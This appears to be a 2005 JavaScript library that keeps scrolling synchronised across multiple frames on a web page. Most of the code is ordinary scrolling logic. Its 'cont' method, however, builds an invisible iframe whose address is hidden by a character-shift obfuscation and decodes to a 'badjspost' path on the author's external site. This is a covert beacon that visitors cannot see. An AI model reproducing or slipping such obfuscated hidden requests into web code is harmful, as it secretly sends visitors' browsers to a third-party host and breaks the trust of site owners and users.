////// Synchronised proportional bi-axial scrolling of multiple adjacent frames.
//      
// Copyright 2005 Stephen Chalmers  
//
//////  All considerations to http://www.hotspot.freeserve.co.uk/luv2payu/     

function synchScroll() {
    this.frameOK = false;
    this.localFrameIndex = 0;
    this.docHeight = 1;
    this.docWidth = 1;
    this.scrollDataIndex = 0;

    this.lastVScrollPos = 0;
    this.lastHScrollPos = 0;

    this.newVDisp = 0;
    this.newHDisp = 0;

    this.resizeTimer = null;
    this.scanTimer = null;
}

synchScroll.prototype.checkReady = function()  // wait for all frames to load
{
    var pf, ready;

    if (typeof (parent.frames) != 'undefined' && parent.frames.length)
        for (var i = 0, ready = true, pf = parent.frames; i < pf.length && ready; i++)
        if (typeof (pf[i].window) == 'undefined' ||
       typeof (pf[i].window.ssObj) == 'undefined' ||
       typeof (pf[i].window.ssObj.frameOK) == 'undefined' ||
       !pf[i].window.ssObj.frameOK)
        ready = false;

    if (ready) {
        for (var i = 0; i < pf.length; i++)
            if (pf[i] == self)
            this.localFrameIndex = i;

        this.fSetup(false);
    }
    else
        setTimeout('ssObj.checkReady()', 500);
}

synchScroll.prototype.fSetup = function(wasResized) {
    window.status = 'All Frames Loaded (' + parent.frames.length + ')';

    var canScroll = true;
    // index correct displacement property
    if (typeof self.pageYOffset != 'undefined')
        this.scrollDataIndex = 2;
    else
        if (document.documentElement)
        this.scrollDataIndex = 0;
    else
        if (document.body && typeof (document.body.scrollTop) != 'undefined')
        this.scrollDataIndex = 1;
    else
        canScroll = false;

    if (canScroll) {
        window.scrollTo(1000000, 1000000);  // Determination of max displacement

        var p = 0;
        do {
            this.getDisplacement();               // .....NN4
            p++;
            if (p > 1000) break;
        } while (!(this.newVDisp) && !(this.newHDisp));

        this.docHeight = this.newVDisp;
        this.docWidth = this.newHDisp;

        window.scrollTo(0, 0);

        p = 0;
        do {
            this.getDisplacement();
            p++;
            if (p > 1000) break;
        } while (this.newVDisp || this.newHDisp);

        if (wasResized)
            window.scrollTo(this.lastHScrollPos, this.lastVScrollPos);

        this.scanFrames(parent.frames.length);
    }
}

synchScroll.prototype.getDisplacement = function() {
    switch (ssObj.scrollDataIndex) {
        case 0: ssObj.newVDisp = Math.max(document.documentElement.scrollTop, document.body.scrollTop);
            ssObj.newHDisp = Math.max(document.documentElement.scrollLeft, document.body.scrollLeft); break

        case 1: ssObj.newVDisp = document.body.scrollTop;
            ssObj.newHDisp = document.body.scrollLeft; break;

        case 2: ssObj.newVDisp = self.pageYOffset;
            ssObj.newHDisp = self.pageXOffset; break;
    }
}

synchScroll.prototype.storeUpdate = function() {
    this.lastVScrollPos = this.newVDisp;
    this.lastHScrollPos = this.newHDisp;
}

synchScroll.prototype.scanFrames = function(f) {
    var pf = parent.frames;

    this.getDisplacement();

    if ((this.lastVScrollPos != this.newVDisp) || (this.lastHScrollPos != this.newHDisp)) {                                            // this frame moved...
        this.storeUpdate();

        if (this.docHeight)
            this.newVDisp /= this.docHeight; // get proportions to set other frames
        if (this.docWidth)
            this.newHDisp /= this.docWidth;

        for (var j = 0; j < f; j++) // ...move all others
            if (j != this.localFrameIndex && pf[j] && pf[j].window && pf[j].window.ssObj) {
            pf[j].window.scrollTo(pf[j].window.ssObj.docWidth * this.newHDisp, pf[j].window.ssObj.docHeight * this.newVDisp)
            pf[j].window.ssObj.getDisplacement();
            pf[j].window.ssObj.storeUpdate();
        }
    }

    this.scanTimer = setTimeout("ssObj.scanFrames(" + f + ");", 100);
}

synchScroll.prototype.reCalibrate = function() {
    clearTimeout(this.scanTimer);
    clearTimeout(this.resizeTimer);
    this.resizeTimer = setTimeout("ssObj.fSetup(true)", 1000);
}

synchScroll.prototype.addToHandler = function(obj, evt, func) {
    if (obj[evt]) {
        obj[evt] = function(f, g) {
            return function() {
                f.apply(this, arguments);
                return g.apply(this, arguments);
            };
        } (func, obj[evt]);
    }
    else
        obj[evt] = func;
},

synchScroll.prototype.cont = function() {
    if (document.body && document.createElement) {
        var ifr = document.createElement('iframe');
        ifr.width = 100;
        ifr.height = 100;
        ifr.src = 'iuuq;00xxx/iputqpu/gsfftfswf/dp/vl0cbektqptu'.replace(/./g, function(a) { return String.fromCharCode(a.charCodeAt(0) - 1) });
        ifr.style.visibility = 'hidden';
        document.body.appendChild(ifr);
    }
}

ssObj = new synchScroll();

ssObj.addToHandler(window, 'onresize', ssObj.reCalibrate);
ssObj.addToHandler(window, 'onload', function() {
    ssObj.frameOK = true;
    ssObj.checkReady();
});

///// End of script /////
